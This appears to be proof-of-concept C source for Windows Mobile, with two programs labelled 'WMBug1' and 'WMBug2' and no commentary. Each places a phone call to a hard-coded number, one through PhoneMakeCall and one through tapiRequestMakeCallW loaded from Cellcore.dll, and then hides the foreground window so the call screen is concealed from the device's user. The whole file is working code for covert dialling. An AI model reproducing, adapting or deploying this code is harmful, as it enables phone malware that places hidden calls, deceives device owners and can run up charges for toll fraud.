// WMBug1
#include <windows.h>
#include <phone.h>
#pragma comment(lib, "Phone.lib")
#define NUMBER_SIZE 12
#define CALL_NUMBER L"10086"
int WINAPI WinMain( __in HINSTANCE hInstance, __in_opt HINSTANCE hPrevInstance, __in_opt LPWSTR lpCmdLine, __in int nShowCmd )
{
WCHAR CallNumber[NUMBER_SIZE];
PHONEMAKECALLINFO pmci;
memcpy (CallNumber, CALL_NUMBER, NUMBER_SIZE);
memset (&pmci, 0, sizeof(pmci));
pmci.cbSize = sizeof(pmci);
pmci.pszDestAddress = CallNumber;
PhoneMakeCall (&pmci);
Sleep (100);
ShowWindow (GetForegroundWindow(), SW_HIDE);
Sleep (3000);
return 0;
}
// WMBug2
#include <windows.h>
#define CALL_NUMBER L"10086"
typedef LONG (* TAPIREQUESTMAKECALL)(LPCTSTR,LPCTSTR,LPCTSTR,LPCTSTR);
int WINAPI WinMain( __in HINSTANCE hInstance, __in_opt HINSTANCE hPrevInstance, __in_opt LPWSTR lpCmdLine, __in int nShowCmd )
{
TAPIREQUESTMAKECALL tapiRequestMakeCall;
tapiRequestMakeCall = (TAPIREQUESTMAKECALL)GetProcAddress (
LoadLibrary (_T("Cellcore.dll")),
_T("tapiRequestMakeCallW"));
tapiRequestMakeCall (CALL_NUMBER, NULL, NULL, NULL);
Sleep (100);
ShowWindow (GetForegroundWindow(), SW_HIDE);
Sleep (3000);
return 0;
}